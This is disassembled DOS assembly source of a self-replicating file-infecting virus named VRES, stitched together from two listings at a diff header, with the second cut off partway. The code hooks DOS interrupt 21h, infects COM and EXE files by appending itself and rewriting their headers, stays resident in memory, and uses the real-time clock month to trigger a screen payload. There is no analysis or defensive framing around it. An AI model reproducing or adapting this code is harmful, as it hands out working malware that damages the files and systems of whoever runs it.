;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
mov si,data_1e
lodsw ; String [si] to ax
cmp ax,192h
je loc_8 ; Jump if equal
cmp ax,179h
jne loc_9 ; Jump if not equal
jmp loc_12
loc_9:
cmp ax,1DCh
je loc_10 ; Jump if equal
retn
loc_10:
pop ds
pop es
mov bx,cs:data_25
sub bx,cs:data_36
mov ax,cs
sub ax,bx
mov ss,ax
mov bp,cs:data_37
xchg bp,sp
mov bx,cs:data_28
sub bx,cs:data_29
mov ax,cs
sub ax,bx
push ax
mov ax,cs:data_30
push ax
retf ; Return far
data_43 db 23h
db 1Ah
db '<#/--!.$'
db 0Eh, 23h, 2Fh, 2Dh,0E0h
data_44 db 'A:MIO.COM', 0
db 58h, 45h, 00h, 00h, 00h
db 24h, 24h, 24h, 24h, 24h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_3:
mov ax,3D02h
mov dx,offset data_44 ; ('A:MIO.COM')
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_11 ; Jump if carry=0
clc ; Clear carry flag
retn
loc_11:
mov data_33,ax
mov dx,offset int_24h_entry
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,4202h
mov bx,data_33
mov cx,0FFFFh
mov dx,0FFFEh
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov dx,offset data_45
mov ah,3Fh ; '?'
mov bx,data_33
mov cx,2
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push ds
mov dx,data_40
mov ax,data_39
mov ds,ax
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
cmp data_45,0A0Ch
clc ; Clear carry flag
retn
data_45 dw 20CDh
loc_12:
cmp ax,22Dh
je loc_13 ; Jump if equal
push ds
pop es
push cs
pop ds
mov ax,data_33
mov ss,ax
xchg bp,sp
mov si,offset data_42
mov di,data_15e
mov cx,10h
cld ; Clear direction
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
jmp loc_5
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
loc_13:
mov al,43h ; 'C'
mov data_53,al
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
mov data_41,al
mov dx,offset data_44 ; ('A:MIO.COM')
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_14 ; Jump if carry=0
retn
loc_14:
mov data_33,ax
mov dx,offset data_21
mov bx,data_33
mov cx,0Ch
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
push ax
add ax,10h
and ax,0FFF0h
push ax
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
mov di,data_10e
stosw ; Store ax to es:[di]
pop ax
pop bx
sub ax,bx
mov cx,627h
add cx,ax
mov dx,100h
sub dx,ax
mov bx,data_33
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov ah,40h ; '@'
mov bx,data_33
mov cx,0Ch
mov dx,offset data_46
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ah,3Eh ; '>'
mov bx,data_33
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_4 endp
data_46 db 0Eh
db 8Ch,0C8h, 05h, 01h, 00h, 50h
db 0B8h, 00h, 01h, 50h,0CBh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
mov al,45h ; 'E'
mov data_53,al
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
mov data_41,al
mov dx,offset data_44 ; ('A:MIO.COM')
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_15 ; Jump if carry=0
retn
loc_15:
mov data_33,ax
mov dx,offset data_21
mov bx,data_33
mov cx,18h
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
mov ax,4202h
mov cx,0
mov dx,0
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
push ax
add ax,10h
adc dx,0
and ax,0FFF0h
mov data_31,dx
mov data_32,ax
mov cx,727h
sub cx,100h
add ax,cx
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
inc ax
mov data_23,ax
mov data_22,dx
mov ax,data_28
mov data_29,ax
mov ax,data_27
mov data_30,ax
mov ax,data_25
mov data_36,ax
mov ax,data_26
mov data_37,ax
mov dx,data_31
mov ax,data_32
mov cx,10h
div cx ; ax,dx rem=dx:ax/reg
sub ax,10h
sub ax,data_24
mov data_28,ax
mov data_25,ax
mov data_27,100h
mov data_26,100h
mov ax,4200h
xor cx,cx ; Zero register
mov dx,2
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov dx,offset data_22
mov bx,data_33
mov cx,16h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov dx,100h
mov ax,data_32
pop cx
sub ax,cx
sub dx,ax
mov cx,727h
add cx,ax
sub cx,100h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_5 endp
push cx
mov cx,0
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
pop cx
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
push es
mov ax,351Ch
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov cs:data_19,bx
mov cs:data_20,es
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
push es
pop ax
mov word ptr cs:data_17+2,ax
mov cs:data_17,bx
pop es
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
push ax
push es
push ds
xor ax,ax ; Zero register
mov es,ax
mov si,data_3e
mov ax,es:[si]
mov ds,ax
mov si,data_57e
cmp word ptr [si],0A0Ch
jne loc_16 ; Jump if not equal
push ds
pop ax
call sub_14
pop ds
pop es
pop ax
retn
loc_16:
push cs
pop ds
mov ax,data_38
dec ax
mov es,ax
cmp byte ptr es:data_12e,5Ah ; 'Z'
nop ;*ASM fixup - sign extn byte
je loc_17 ; Jump if equal
jmp short loc_18
db 90h
loc_17:
mov ax,es:data_13e
mov cx,737h
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
sub ax,cx
jc loc_18 ; Jump if carry Set
mov es:data_13e,ax
sub es:data_14e,cx
push cs
pop ds
mov ax,es:data_14e
push ax
pop es
mov si,100h
push si
pop di
mov cx,627h
cld ; Clear direction
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
push es
sub ax,ax
mov es,ax
mov si,data_2e
mov dx,4A8h
mov es:[si],dx
inc si
inc si
pop ax
mov es:[si],ax
loc_18:
pop ds
pop es
pop ax
retn
sub_7 endp
cmp al,57h ; 'W'
jne loc_19 ; Jump if not equal
jmp short loc_22
db 90h
loc_19:
cmp ah,1Ah
jne loc_20 ; Jump if not equal
call sub_12
jmp short loc_22
db 90h
loc_20:
cmp ah,11h
jne loc_21 ; Jump if not equal
call sub_8
iret ; Interrupt return
loc_21:
cmp ah,12h
jne loc_22 ; Jump if not equal
call sub_11
iret ; Interrupt return
loc_22:
jmp dword ptr cs:data_17
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
mov al,57h ; 'W'
int 21h ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
push cs
pop ds
push cs
pop es
mov byte ptr cs:data_47,0
nop
call sub_9
jnz loc_23 ; Jump if not zero
call sub_3
jz loc_23 ; Jump if zero
call sub_16
dec data_47
loc_23:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
push cs
pop es
push cs
pop es
cld ; Clear direction
call sub_10
jnc loc_24 ; Jump if carry=0
cmp di,0
retn
loc_24:
mov di,offset data_44 ; ('A:MIO.COM')
mov al,2Eh ; '.'
mov cx,0Bh
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
cmp word ptr [di],4F43h
jne loc_25 ; Jump if not equal
cmp byte ptr [di+2],4Dh ; 'M'
jne loc_25 ; Jump if not equal
mov byte ptr data_53,43h ; 'C'
nop
retn
loc_25:
cmp word ptr [di],5845h
jne loc_ret_26 ; Jump if not equal
cmp byte ptr [di+2],45h ; 'E'
jne loc_ret_26 ; Jump if not equal
mov byte ptr data_53,45h ; 'E'
nop
loc_ret_26:
retn
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
loc_27:
push ds
mov si,cs:data_34
mov ax,cs:data_35
mov ds,ax
mov di,offset data_44 ; ('A:MIO.COM')
lodsb ; String [si] to al
cmp al,0FFh
jne loc_28 ; Jump if not equal
add si,6
lodsb ; String [si] to al
jmp short loc_29
db 90h
loc_28:
cmp al,5
jb loc_29 ; Jump if below
pop ds
stc ; Set carry flag
retn
loc_29:
mov cx,0Bh
cmp al,0
je locloop_30 ; Jump if equal
add al,40h ; '@'
stosb ; Store al to es:[di]
mov al,3Ah ; ':'
stosb ; Store al to es:[di]
locloop_30:
lodsb ; String [si] to al
cmp al,20h ; ' '
je loc_31 ; Jump if equal
stosb ; Store al to es:[di]
jmp short loc_32
db 90h
loc_31:
cmp byte ptr es:[di-1],2Eh ; '.'
je loc_32 ; Jump if equal
mov al,2Eh ; '.'
stosb ; Store al to es:[di]
loc_32:
loop locloop_30 ; Loop if cx > 0
mov al,0
stosb ; Store al to es:[di]
pop ds
clc ; Clear carry flag
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
mov al,57h ; 'W'
int 21h ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
push cs
pop ds
push cs
pop es
cmp byte ptr cs:data_47,0
je loc_33 ; Jump if equal
jmp short loc_34
db 90h
loc_33:
call sub_9
jnz loc_34 ; Jump if not zero
call sub_3
jz loc_34 ; Jump if zero
call sub_16
dec data_47
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
loc_34:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
sub_11 endp
data_47 db 0
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
push ax
push ds
pop ax
mov cs:data_35,ax
mov cs:data_34,dx
pop ax
retn
sub_12 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
push cs
mov al,0
out 20h,al ; port 20h, 8259-1 int command
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov data_40,bx
mov bx,es
mov data_39,bx
pop es
mov si,offset data_43
mov di,offset data_44 ; ('A:MIO.COM')
mov cx,0Fh
locloop_35:
lodsb ; String [si] to al
add al,20h ; ' '
stosb ; Store al to es:[di]
loop locloop_35 ; Loop if cx > 0
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
push ax
push cs
pop ds
push cs
pop es
mov bl,data_41
cmp bl,0Ch
ja loc_37 ; Jump if above
cmp bl,0
je loc_37 ; Jump if equal
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
cmp al,0Ch
ja loc_37 ; Jump if above
cmp al,0
je loc_37 ; Jump if equal
cmp al,bl
je loc_37 ; Jump if equal
inc bl
call sub_15
cmp al,bl
je loc_37 ; Jump if equal
inc bl
call sub_15
cmp al,bl
je loc_37 ; Jump if equal
pop ds
call sub_17
push cs
pop ds
retn
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_15:
cmp bl,0Ch
jbe loc_ret_36 ; Jump if below or =
sub bl,0Ch
loc_ret_36:
retn
loc_37:
pop ax
retn
sub_14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
mov dx,offset int_24h_entry
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
cmp byte ptr data_53,43h ; 'C'
jne loc_38 ; Jump if not equal
call sub_4
jmp short loc_39
db 90h
loc_38:
call sub_5
loc_39:
push ds
mov dx,data_40
mov ax,data_39
mov ds,ax
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
retn
sub_16 endp
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
int_24h_entry proc far
mov al,3
iret ; Interrupt return
int_24h_entry endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
;* mov dx,offset loc_47 ;*
db 0BAh,0B0h, 06h
mov ax,251Ch
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov byte ptr ds:data_56e,90h
nop
mov ax,0B800h
mov es,ax
mov di,data_55e
mov ax,720h
mov cx,0Bh
repne stosw ; Rep zf=0+cx >0 Store ax to es:[di]
push cs
pop es
retn
sub_17 endp
db 0, 0
data_48 db 0
data_49 dw 720h
data_50 db 0Fh
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
db 0Ah, 0Fh, 08h,0FEh, 0Eh
data_51 db 0EEh
db 0Ch
data_52 db 90h
db 0FBh, 50h, 51h, 52h, 53h, 55h
db 56h, 57h, 1Eh, 06h, 0Eh, 1Fh
db 0EBh, 0Bh, 90h
loc_40:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
iret ; Interrupt return
db 0B8h, 00h,0B8h, 8Eh,0C0h
db 0BFh,0A0h, 0Fh
db 0BEh, 9Ah, 06h,0B9h, 16h, 00h
db 0F2h,0A4h, 80h, 3Eh,0AEh, 06h
db 0EEh, 74h, 08h,0C6h, 06h,0AEh
db 06h,0EEh,0EBh, 06h, 90h
loc_42:
mov data_51,0F0h
loc_43:
mov ax,es:[di]
mov ah,0Eh
mov data_49,ax
mov data_48,0
jmp short loc_40
db 0BFh, 00h, 00h
loc_44:
mov si,offset data_50
push di
mov cx,12h
cld ; Clear direction
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
pop di
jz loc_45 ; Jump if zero
inc di
inc di
cmp di,0FA0h
jne loc_44 ; Jump if not equal
mov di,0
loc_45:
cmp di,0F9Eh
jne loc_ret_46 ; Jump if not equal
mov data_52,0CFh
loc_ret_46:
retn
data_53 db 43h
db 0Ch, 0Ah, 45h, 00h,0CBh, 87h
db 0BFh, 1Dh, 25h, 1Eh, 57h, 9Ah
db 83h, 00h,0CBh, 87h,0E8h
db 2Eh
seg_a ends
end start
@@ -0,0 +1,947 @@
PAGE 60,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ VRES ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 4-Jan-92 ÛÛ
;ÛÛ Passes: 5 Analysis Flags on: H ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 12Bh
data_2e equ 137h
data_3e equ 139h
data_4e equ 13Bh
data_5e equ 27Dh
data_6e equ 5CDh
data_7e equ 724h
data_8e equ 6B0h
data_9e equ 3
data_10e equ 12h
seg_a segment
assume cs:seg_a, ds:seg_a
org 100h
vres proc far
start:
push cs
mov ax,cs
data_11 dw 105h
data_12 dw 5000h
data_13 dw 0B8h
data_14 dw 5001h
db 0CBh, 0
data_15 dw 0
data_16 dw 0EB00h
db 4Ah, 90h
data_17 dw 1460h
db 74h, 2, 53h, 0FFh
data_18 dw 0F000h
data_19 dw 3B8h
db 0, 0CDh
data_20 dw 0CD10h
data_21 dw 20h
data_22 dw 20h
data_23 dw 11h
data_24 dw 0FFFFh
data_25 dw 4
data_26 dw 100h
data_27 dw 674Fh
data_28 dw 100h
data_29 dw 4
data_30 dw 0
data_31 dw 0
data_32 dw 0
data_33 dw 340h
data_34 db 5
db 0, 8Ah, 43h, 0B7h, 9Ah, 14h
db 0, 0, 1, 71h, 0Dh, 8Eh
db 0Ch, 56h, 5, 1, 0EAh, 56h
db 74h, 2, 5Ch, 7, 70h, 0
loc_1:
push ss
add al,al
or bx,[si+7]
jo loc_2 ; Jump if overflow=1
loc_2:
push es
push ds
mov ax,es
push cs
pop ds
push cs
pop es
mov data_31,ax
mov ax,ss
mov data_26,ax
mov al,2
out 20h,al ; port 20h, 8259-1 int command
cld ; Clear direction
xor ax,ax ; Zero register
mov ds,ax
xor si,si ; Zero register
mov di,13Ch
mov cx,10h
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
push ds
pop ss
mov bp,8
xchg bp,sp
call sub_1 ; (01D5)
jmp loc_24 ; (0552)
loc_3:
call sub_12 ; (05EC)
call sub_2 ; (023D)
jz loc_4 ; Jump if zero
mov al,ds:data_7e
push ax
call sub_3 ; (02AE)
pop ax
mov ds:data_7e,al
jmp short loc_5 ; (01B4)
db 90h
loc_4:
call sub_5 ; (041B)
call sub_6 ; (043D)
cmp byte ptr ds:data_7e,0
jne loc_5 ; Jump if not equal
mov ax,4C00h
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
loc_5:
cmp byte ptr ds:data_7e,43h ; 'C'
jne loc_8 ; Jump if not equal
loc_6:
pop ds
pop es
push cs
pop ds
pop es
push es
mov di,100h
mov si,10Bh
mov cx,0Ch
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
push es
pop ds
mov ax,100h
push ax
xor ax,ax ; Zero register
retf ; Return far
vres endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
mov si,6
lodsw ; String [si] to ax
cmp ax,192h
je loc_6 ; Jump if equal
cmp ax,179h
jne loc_7 ; Jump if not equal
jmp loc_10 ; (028F)
loc_7:
cmp ax,1DCh
je loc_8 ; Jump if equal
retn
loc_8:
pop ds
pop es
mov bx,cs:data_18
sub bx,cs:data_29
mov ax,cs
sub ax,bx
mov ss,ax
mov bp,cs:data_30
xchg bp,sp
mov bx,cs:data_21
sub bx,cs:data_22
mov ax,cs
sub ax,bx
push ax
mov ax,cs:data_23
push ax
retf ; Return far
db 23h, 1Ah
db '<#/--!.$'
db 0Eh, 23h, 2Fh, 2Dh, 0E0h
db 'D:VRES.COM'
db 0, 58h, 45h, 0, 0
db 24h, 24h, 24h, 24h, 24h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_2:
mov ax,3D02h
mov dx,219h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_9 ; Jump if carry=0
clc ; Clear carry flag
retn
loc_9:
mov ds:data_1e,ax
mov dx,673h
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,4202h
mov bx,ds:data_1e
mov cx,0FFFFh
mov dx,0FFFEh
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov dx,27Dh
mov ah,3Fh ; '?'
mov bx,ds:data_1e
mov cx,2
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push ds
mov dx,ds:data_3e
mov ax,ds:data_2e
mov ds,ax
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
cmp word ptr ds:data_5e,0A0Ch
clc ; Clear carry flag
retn
db 0CDh, 20h
loc_10:
cmp ax,22Dh
je loc_11 ; Jump if equal
push ds
pop es
push cs
pop ds
mov ax,data_26
mov ss,ax
xchg bp,sp
mov si,13Ch
mov di,0
mov cx,10h
cld ; Clear direction
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
jmp loc_3 ; (018C)
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
loc_11:
mov al,43h ; 'C'
mov ds:data_7e,al
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
mov ds:data_4e,al
mov dx,219h
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_12 ; Jump if carry=0
retn
loc_12:
mov ds:data_1e,ax
mov dx,10Bh
mov bx,ds:data_1e
mov cx,0Ch
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
mov ax,4202h
xor cx,cx ; Zero register
